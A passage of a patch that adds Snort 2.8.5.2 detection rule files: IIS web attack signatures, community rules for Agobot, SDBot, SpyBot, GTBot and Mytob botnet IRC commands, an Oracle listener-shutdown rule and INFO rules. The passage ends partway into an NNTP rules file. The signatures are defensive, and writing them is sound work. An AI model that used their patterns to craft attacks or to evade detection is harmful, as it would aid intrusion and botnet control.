+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS /exchange/root.asp access"; flow:to_server,established; uricontent:"/exchange/root.asp"; nocase; reference:bugtraq,3301; reference:cve,2001-0660; reference:nessus,10755; reference:nessus,10781; classtype:web-application-activity; sid:1568; rev:11;)
+
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .asa HTTP header buffer overflow attempt"; flow:to_server,established; content:"HTTP/"; nocase; uricontent:".asa"; nocase; content:"|3A|"; content:"|0A|"; content:"|00|"; reference:bugtraq,4476; reference:cve,2002-0150; reference:url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx; classtype:web-application-attack; sid:1802; rev:8;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .cer HTTP header buffer overflow attempt"; flow:to_server,established; content:"HTTP/"; nocase; uricontent:".cer"; nocase; content:"|3A|"; content:"|0A|"; content:"|00|"; reference:bugtraq,4476; reference:cve,2002-0150; reference:url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx; classtype:web-application-attack; sid:1803; rev:9;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .cdx HTTP header buffer overflow attempt"; flow:to_server,established; content:"HTTP/"; nocase; uricontent:".cdx"; nocase; content:"|3A|"; content:"|0A|"; content:"|00|"; reference:bugtraq,4476; reference:cve,2002-0150; reference:url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx; classtype:web-application-attack; sid:1804; rev:9;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .asp HTTP header buffer overflow attempt"; flow:to_server,established; content:"HTTP/"; nocase; uricontent:".asp"; nocase; content:"|3A|"; content:"|0A|"; content:"|00|"; reference:bugtraq,4476; reference:cve,2002-0150; reference:url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx; classtype:web-application-attack; sid:1801; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS WEBDAV exploit attempt"; flow:to_server,established; content:"HTTP/1.1|0A|Content-type|3A| text/xml|0A|HOST|3A|"; content:"Accept|3A| */*|0A|Translate|3A| f|0A|Content-length|3A|5276|0A 0A|"; distance:1; reference:bugtraq,7116; reference:bugtraq,7716; reference:cve,2003-0109; reference:nessus,11413; reference:url,www.microsoft.com/technet/security/bulletin/ms03-007.mspx; classtype:attempted-admin; sid:2090; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS WEBDAV nessus safe scan attempt"; flow:to_server,established; content:"SEARCH / HTTP/1.1|0D 0A|Host|3A|"; content:"|0D 0A 0D 0A|"; within:255; reference:bugtraq,7116; reference:cve,2003-0109; reference:nessus,11412; reference:nessus,11413; reference:url,www.microsoft.com/technet/security/bulletin/ms03-007.mspx; classtype:attempted-admin; sid:2091; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS Battleaxe Forum login.asp access"; flow:to_server,established; uricontent:"myaccount/login.asp"; nocase; reference:bugtraq,7416; reference:cve,2003-0215; classtype:web-application-activity; sid:2117; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS nsiislog.dll access"; flow:to_server,established; uricontent:"/nsiislog.dll"; nocase; reference:bugtraq,8035; reference:cve,2003-0227; reference:cve,2003-0349; reference:nessus,11664; reference:url,www.microsoft.com/technet/security/bulletin/ms03-018.mspx; classtype:web-application-activity; sid:2129; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS IISProtect siteadmin.asp access"; flow:to_server,established; uricontent:"/iisprotect/admin/SiteAdmin.asp"; nocase; reference:bugtraq,7675; reference:cve,2003-0377; reference:nessus,11662; classtype:web-application-activity; sid:2130; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS IISProtect globaladmin.asp access"; flow:to_server,established; uricontent:"/iisprotect/admin/GlobalAdmin.asp"; nocase; reference:nessus,11661; classtype:web-application-activity; sid:2157; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS IISProtect access"; flow:to_server,established; uricontent:"/iisprotect/admin/"; nocase; reference:nessus,11661; classtype:web-application-activity; sid:2131; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS Synchrologic Email Accelerator userid list access attempt"; flow:to_server,established; uricontent:"/en/admin/aggregate.asp"; nocase; reference:nessus,11657; classtype:web-application-activity; sid:2132; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS MS BizTalk server access"; flow:to_server,established; uricontent:"/biztalkhttpreceive.dll"; nocase; reference:bugtraq,7469; reference:bugtraq,7470; reference:cve,2003-0117; reference:cve,2003-0118; reference:nessus,11638; reference:url,www.microsoft.com/technet/security/bulletin/MS03-016.mspx; classtype:web-application-activity; sid:2133; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS register.asp access"; flow:to_server,established; uricontent:"/register.asp"; nocase; reference:nessus,11621; classtype:web-application-activity; sid:2134; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS UploadScript11.asp access"; flow:to_server,established; uricontent:"/UploadScript11.asp"; nocase; reference:cve,2001-0938; classtype:web-application-activity; sid:2247; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS DirectoryListing.asp access"; flow:to_server,established; uricontent:"/DirectoryListing.asp"; nocase; reference:cve,2001-0938; classtype:web-application-activity; sid:2248; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS /pcadmin/login.asp access"; flow:to_server,established; uricontent:"/pcadmin/login.asp"; nocase; reference:bugtraq,8103; reference:nessus,11785; classtype:web-application-activity; sid:2249; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS foxweb.exe access"; flow:to_server,established; uricontent:"/foxweb.exe"; nocase; reference:nessus,11939; classtype:web-application-activity; sid:2321; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS foxweb.dll access"; flow:to_server,established; uricontent:"/foxweb.dll"; nocase; reference:nessus,11939; classtype:web-application-activity; sid:2322; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS VP-ASP shopsearch.asp access"; flow:to_server,established; uricontent:"/shopsearch.asp"; nocase; reference:bugtraq,9133; reference:bugtraq,9134; reference:nessus,11942; classtype:web-application-activity; sid:2324; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS VP-ASP ShopDisplayProducts.asp access"; flow:to_server,established; uricontent:"/ShopDisplayProducts.asp"; nocase; reference:bugtraq,9133; reference:bugtraq,9134; reference:nessus,11942; classtype:web-application-activity; sid:2325; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS sgdynamo.exe access"; flow:to_server,established; uricontent:"/sgdynamo.exe"; nocase; reference:bugtraq,4720; reference:cve,2002-0375; reference:nessus,11955; classtype:web-application-activity; sid:2326; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS NTLM ASN.1 vulnerability scan attempt"; flow:to_server,established; content:"Authorization|3A| Negotiate YIQAAABiBoMAAAYrBgEFBQKgggBTMIFQoA4wDAYKKwYBBAGCNwICCqM"; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12055; reference:nessus,12065; reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx; classtype:attempted-dos; sid:2386; rev:9;)
+
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS SmarterTools SmarterMail frmGetAttachment.aspx access"; flow:to_server,established; uricontent:"/frmGetAttachment.aspx"; nocase; reference:bugtraq,9805; classtype:web-application-activity; sid:2571; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS SmarterTools SmarterMail login.aspx buffer overflow attempt"; flow:to_server,established; uricontent:"/login.aspx"; nocase; content:"txtusername="; isdataat:980,relative; content:!"|0A|"; within:980; nocase; reference:bugtraq,9805; classtype:web-application-attack; sid:2572; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS SmarterTools SmarterMail frmCompose.asp access"; flow:to_server,established; uricontent:"/frmCompose.aspx"; reference:bugtraq,9805; classtype:web-application-activity; sid:2573; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS ping.asp access"; flow:to_server,established; uricontent:"/ping.asp"; nocase; reference:nessus,10968; classtype:web-application-activity; sid:2667; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-IIS w3who.dll buffer overflow attempt"; flow:to_server,established; uricontent:"/w3who.dll?"; nocase; pcre:"/w3who.dll\x3F[^\r\n]{519}/i"; reference:bugtraq,11820; reference:cve,2004-1134; classtype:attempted-admin; sid:3087; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .cmd executable file parsing attack"; flow:established,to_server; uricontent:".cmd|22|"; nocase; pcre:"/.cmd\x22.*\x26.*/smi"; reference:bugtraq,1912; reference:cve,2000-0886; classtype:web-application-attack; sid:3193; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS .bat executable file parsing attack"; flow:established,to_server; uricontent:".bat|22|"; nocase; pcre:"/.bat\x22.*\x26.*/smi"; reference:bugtraq,1912; reference:cve,2000-0886; classtype:web-application-attack; sid:3194; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-IIS httpodbc.dll access - nimda"; flow:to_server,established; uricontent:"/httpodbc.dll"; nocase; reference:bugtraq,2708; reference:cve,2001-0333; classtype:web-application-activity; sid:3201; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"WEB-IIS SQLXML content type overflow"; flow:to_server,established; pcre:"/\.x[sm]l/Ui"; uricontent:"contenttype="; pcre:"/contenttype=[^\r\n\x3b\x38]{100}/smiU"; reference:bugtraq,5004; reference:cve,2002-0186; reference:url,www.microsoft.com/technet/security/bulletin/MS02-030.mspx; reference:url,www.westpoint.ltd.uk/advisories/wp-02-0007.txt; classtype:attempted-admin; sid:3150; rev:4;)
--- snort-2.8.5.2.orig/rules/community-bot.rules
+++ snort-2.8.5.2/rules/community-bot.rules
@@ -0,0 +1,117 @@
+# Copyright 2006 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-bot.rules,v 1.5 2006/10/23 12:49:52 akirk Exp $
+
+
+# Some rules to look for botnets using popular bot software.
+# Contributed by David J. Bianco <david@vorant.com>
+#
+# A more detailed writeup can be found at: 
+#
+#http://infosecpotpourri.blogspot.com/2006/03/detecting-common-botnets-with-snort.html
+#
+#
+# This rule merely looks for IRC traffic on any TCP port (by detecting
+# NICK change events, which occur at the beginning of the session) and
+# sets the is_proto_irc flowbit.  It does not actually generate any alerts
+# itself.
+alert tcp any any -> any any (msg:"COMMUNITY BOT IRC Traffic Detected By Nick Change"; flow: to_server,established; content:"NICK "; nocase; offset: 0; depth: 5; flowbits:set,community_is_proto_irc; flowbits: noalert; classtype:misc-activity; sid:100000240; rev:3;)
+
+# Using the aforementioned is_proto_irc flowbits, do some IRC checks.
+# This one looks for IRC servers running on the $HOME_NET
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"COMMUNITY BOT Internal IRC server detected"; flow: to_server,established; flowbits:isset,community_is_proto_irc; classtype: policy-violation; sid:100000241; rev:2;)
+
+# These rules look for specific Agobot/PhatBot commands on an IRC session
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.about command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.about"; classtype: trojan-activity; sid:100000242; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.die command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.die"; classtype: trojan-activity; sid:100000243; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.dns command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.dns"; classtype: trojan-activity; sid:100000244; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.execute command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.execute"; classtype: trojan-activity; sid:100000245; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.id command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.id"; classtype: trojan-activity; sid:100000246; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.nick command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.nick"; classtype: trojan-activity; sid:100000247; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.open command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.open"; classtype: trojan-activity; sid:100000248; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.remove command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.remove"; classtype: trojan-activity; sid:100000249; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.removeallbut command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.removeallbut"; classtype: trojan-activity; sid:100000250; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.rndnick command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.rndnick"; classtype: trojan-activity; sid:100000251; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.status command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.status"; classtype: trojan-activity; sid:100000252; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.sysinfo command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.sysinfo"; classtype: trojan-activity; sid:100000253; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.longuptime command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.longuptime"; classtype: trojan-activity; sid:100000254; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.highspeed command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.highspeed"; classtype: trojan-activity; sid:100000255; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.quit command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.quit"; classtype: trojan-activity; sid:100000256; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.flushdns command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.flushdns"; classtype: trojan-activity; sid:100000257; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.secure command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.secure"; classtype: trojan-activity; sid:100000258; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.unsecure command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.unsecure"; classtype: trojan-activity; sid:100000259; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.command command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.command"; classtype: trojan-activity; sid:100000260; rev:2;)
+
+# Now some rules to look for SDBot traffic, also on established IRC sessions.
+# There are fewer of these, since the commands themselves aren't so distinctive
+# (don't want a lot of false positives on regular IRC conversations).
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SDBot killthread command"; flow: established; flowbits:isset,community_is_proto_irc; content:"killthread"; pcre:"/killthread\s+\d+\b/"; classtype: trojan-activity; sid:100000261; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SDBot cdkey command"; flow: established; flowbits:isset,community_is_proto_irc; content:"cdkey"; classtype: trojan-activity; sid:100000262; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SDBot getcdkey command"; flow: established; flowbits:isset,community_is_proto_irc; content:"getcdkey"; classtype: trojan-activity; sid:100000263; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SDBot rndnick command"; flow: established; flowbits:isset,community_is_proto_irc; content:"rndnick"; classtype: trojan-activity; sid:100000264; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SDBot c_rndnick command"; flow: established; flowbits:isset,community_is_proto_irc; content:"c_rndnick"; classtype: trojan-activity; sid:100000265; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SDBot c_nick command"; flow: established; flowbits:isset,community_is_proto_irc; content:"c_nick"; classtype: trojan-activity; sid:100000266; rev:2;)
+
+# Ok, on to SpyBot rules
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SpyBot stopspy  command"; flow: established; flowbits:isset,community_is_proto_irc; content:"stopspy"; classtype: trojan-activity; sid:100000267; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SpyBot redirectspy  command"; flow: established; flowbits:isset,community_is_proto_irc; content:"redirectspy"; classtype: trojan-activity; sid:100000268; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SpyBot loadclones command"; flow: established; flowbits:isset,community_is_proto_irc; content:"loadclones"; classtype: trojan-activity; sid:100000269; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SpyBot killclones command"; flow: established; flowbits:isset,community_is_proto_irc; content:"killclones"; classtype: trojan-activity; sid:100000270; rev:2;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT SpyBot rawclones  command"; flow: established; flowbits:isset,community_is_proto_irc; content:"rawclones"; classtype: trojan-activity; sid:100000271; rev:2;)
+
+# Finally GT Bot rules.  These try to account for the case where the bot 
+# herder has redifined the command character away from the default '!'.
+# The only bug here is that this won't detect the ':' as the cmdchar.  IRC
+# uses the colon as part of the protocol message, and it was confusing 
+# any message the started with (e.g.) "portscan" at the beginning of the line
+# and bot commands in the form of ":portscan".
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT GTBot ver command"; flow: established; flowbits:isset,community_is_proto_irc; content:"ver"; pcre:"/(?<![a-zA-Z0-9\x3A\s])ver/"; classtype: trojan-activity; sid:100000272; rev:3;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT GTBot info command"; flow: established; flowbits:isset,community_is_proto_irc; content:"info"; pcre:"/(?<![a-zA-Z0-9\x3A\s])info/"; classtype: trojan-activity; sid:100000273; rev:3;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT GTBot scan command"; flow: established; flowbits:isset,community_is_proto_irc; content:"scan"; pcre:"/(?<![a-zA-Z0-9\x3A\s])scan/"; classtype: trojan-activity; sid:100000274; rev:3;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT GTBot portscan command"; flow: established; flowbits:isset,community_is_proto_irc; content:"portscan"; pcre:"/(?<![a-zA-Z0-9\x3A\s])portscan/"; classtype: trojan-activity; sid:100000275; rev:3;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT GTBot stopscan command"; flow: established; flowbits:isset,community_is_proto_irc; content:"stopscan"; pcre:"/(?<![a-zA-Z0-9\x3A\s])stopscan/"; classtype: trojan-activity; sid:100000276; rev:3;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT GTBot packet command"; flow: established; flowbits:isset,community_is_proto_irc; content:"packet"; pcre:"/(?<![a-zA-Z0-9\x3A\s])packet/"; classtype: trojan-activity; sid:100000277; rev:3;)
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT GTBot bnc command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bnc"; pcre:"/(?<![a-zA-Z0-9\x3A\s])bnc/"; classtype: trojan-activity; sid:100000278; rev:3;)
+
+# Mytob chat rules by Philip Jew
+alert tcp $HOME_NET any -> $EXTERNAL_NET 8585 (msg:"COMMUNITY BOT Mytob IRC DCC file transfer request"; flow:established,to_server; content:"PRIVMSG "; nocase; content:" |3A|.DCC SEND"; nocase; distance:0; pcre:"/^\s*PRIVMSG/smi"; classtype:policy-violation; reference:url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99; sid:100000900; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 8585 (msg:"COMMUNITY BOT Mytob IRC DCC chat request"; flow:established,to_server; content:"PRIVMSG "; nocase; content:" |3A|.DCC CHAT chat"; nocase; distance:0; pcre:"/^\s*PRIVMSG/smi"; classtype:policy-violation; reference:url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99; sid:100000901; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 8585 (msg:"COMMUNITY BOT Mytob IRC channel join"; flow:established,to_server; content:"JOIN "; nocase; pcre:"/^\s*JOIN/smi"; classtype:policy-violation; reference:url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99; sid:100000902; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 8585 (msg:"COMMUNITY BOT Mytob IRC dns request"; flow:established,to_server; content:"USERHOST "; nocase; pcre:"/^\s*USERHOST/smi"; classtype:policy-violation; reference:url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99; sid:100000903; rev:1;)
+alert tcp $EXTERNAL_NET 8585 -> $HOME_NET any (msg:"COMMUNITY BOT Mytob IRC dns response"; flow:established,to_client; content:"|3A|"; offset:0; content:" 302 "; content:"=+"; classtype:policy-violation; reference:url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99; sid:100000904; rev:1;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 8585 (msg:"COMMUNITY BOT Mytob IRC nick change"; flow:established,to_server; content:"NICK "; nocase; pcre:"/^\s*NICK/smi"; classtype:policy-violation; reference:url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99; sid:100000905; rev:1;)
--- snort-2.8.5.2.orig/rules/community-oracle.rules
+++ snort-2.8.5.2/rules/community-oracle.rules
@@ -0,0 +1,6 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-oracle.rules,v 1.2 2005/10/13 14:16:06 akirk Exp $
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 3339 (msg:"COMMUNITY ORACLE TNS Listener shutdown via iSQLPlus attempt"; flow:to_server,established; content:"isqlplus"; nocase; content:"COMMAND"; nocase; distance:0; content:"STOP"; nocase; distance:0; content:"LISTENER"; nocase; distance:0; pcre:"/isqlplus\x2F[^\r\n]*COMMAND\s*\x3D\s*STOP[^\r\n\x26]*LISTENER/si"; reference:bugtraq,15032; reference:url,www.red-database-security.com/advisory/oracle_isqlplus_shutdown.html; classtype:attempted-user; sid:100000166; rev:1;) 
--- snort-2.8.5.2.orig/rules/info.rules
+++ snort-2.8.5.2/rules/info.rules
@@ -0,0 +1,32 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: info.rules,v 1.27.2.3.2.2 2005/05/31 17:13:02 mwatchinski Exp $
+#-----------
+# INFO RULES
+#-----------
+
+alert tcp $TELNET_SERVERS 23 -> $EXTERNAL_NET any (msg:"INFO TELNET login incorrect"; flow:from_server,established; content:"Login incorrect"; reference:arachnids,127; classtype:bad-unknown; sid:718; rev:9;)
+alert tcp $TELNET_SERVERS 23 -> $EXTERNAL_NET any (msg:"INFO TELNET access"; flow:from_server,established; content:"|FF FD|"; rawbytes; content:"|FF FD|"; distance:0; rawbytes; content:"|FF FD|"; distance:0; rawbytes; reference:arachnids,08; reference:cve,1999-0619; reference:nessus,10280; classtype:not-suspicious; sid:716; rev:13;)
+alert tcp $EXTERNAL_NET 80 -> $HOME_NET any (msg:"INFO Connection Closed MSG from Port 80"; flow:from_server,established; content:"Connection closed by foreign host"; nocase; classtype:unknown; sid:488; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"INFO FTP no password"; flow:from_client,established; content:"PASS"; nocase; pcre:"/^PASS\s*\n/smi"; reference:arachnids,322; classtype:unknown; sid:489; rev:7;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"INFO battle-mail traffic"; flow:to_server,established; content:"BattleMail"; classtype:policy-violation; sid:490; rev:7;)
+alert tcp $HOME_NET 21 -> $EXTERNAL_NET any (msg:"INFO FTP Bad login"; flow:from_server,established; content:"530 "; pcre:"/^530\s+(Login|User)/smi"; classtype:bad-unknown; sid:491; rev:8;)
+alert tcp $TELNET_SERVERS 23 -> $EXTERNAL_NET any (msg:"INFO TELNET login failed"; flow:from_server,established; content:"Login failed"; nocase; classtype:bad-unknown; sid:492; rev:9;)
+alert tcp $HOME_NET 23 -> $EXTERNAL_NET any (msg:"INFO TELNET Bad Login"; flow:from_server,established; content:"Login incorrect"; nocase; classtype:bad-unknown; sid:1251; rev:6;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"INFO psyBNC access"; flow:from_server,established; content:"Welcome!psyBNC@lam3rz.de"; classtype:bad-unknown; sid:493; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"INFO web bug 0x0 gif attempt"; flow:from_server,established; content:"Content-type|3A| image/gif"; nocase; content:"GIF"; distance:0; nocase; content:"|01 00 01 00|"; within:4; distance:3; content:","; distance:0; content:"|01 00 01 00|"; within:4; distance:4; classtype:misc-activity; sid:2925; rev:3;)
--- snort-2.8.5.2.orig/rules/nntp.rules
+++ snort-2.8.5.2/rules/nntp.rules
@@ -0,0 +1,35 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
